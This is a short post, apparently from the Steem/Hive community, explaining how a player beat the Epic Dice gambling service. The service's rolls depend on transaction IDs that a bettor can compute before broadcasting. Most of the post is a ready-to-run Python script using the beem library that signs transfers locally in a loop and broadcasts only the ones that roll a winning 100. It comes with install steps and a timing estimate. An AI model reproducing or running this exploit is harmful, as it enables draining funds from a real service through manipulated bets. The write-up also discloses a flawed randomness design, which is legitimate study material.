How 'Above 99' player outplayed Epic Dice

The problem was with too naive fairness here

Every dice result was calculated by Transaction ID of the bet (payment).

Hive account@epicdice truly believed it is random. More to read here https://steemit.com/epicdice/@epicdice/epicdice-fairness

In the process of block signing, various information of a particular transaction like ref_block_num, ref_block_prefix, expiration and so on, contributed in the generation of a fully random 40 hex digits trx_id

Random number is generated solely using blockchain-generated transaction ID that is impossible for the house to mess with

They say.

The truth is that Transaction ID is 40 hex string cut from SHA-256 checksum of raw transaction.
Everything what is needed is to prepare custom transaction locally, verify it's 40-cut hash with Epic Dice playcode and broadcast if matches our bet.

Souce code

Steps:

Install python3.6

Install beem library

Run below script (with proper signing keys)

from beem import Steem from beem.transactionbuilder import TransactionBuilder from beembase import operations # EpicDice fairness formula taken from epicdice.io def playcode(trx_id): result = 1000000 offset = 0 length = 5 endValue = offset + length chop = '' finalResult = '' while result > 999999: chop = trx_id[offset:endValue] offset += 5 endValue = offset + length result = int(chop, 16) finalResult = result % (10000) / 100 finalResult = int(round(finalResult, 0)) if finalResult == 0: result = 1000000 return finalResult s = Steem(keys=[ACTIVE_MYS]) # prepare custom transaction op = operations.Transfer({ 'from': 'mys', 'to': 'epicdice', 'amount': "1.020 STEEM", 'memo': "Above 99"}) # in a loop: sign transaction locally and then # if transaction id rolls 100, broadcast it to the network while True: tb = TransactionBuilder(steem_instance=s) tb.appendOps([op]) tb.appendWif(ACTIVE_MYS) tb.constructTx() tx = tb.sign(reconstruct_tx=False) roll = playcode(tx.id) if roll == 100: tb.broadcast()

Transaction building and signing takes ~0.5s on average home PC. Assuming we try to hit 100 roll, we should get a match every ~8min. Just broadcast prepared transaction.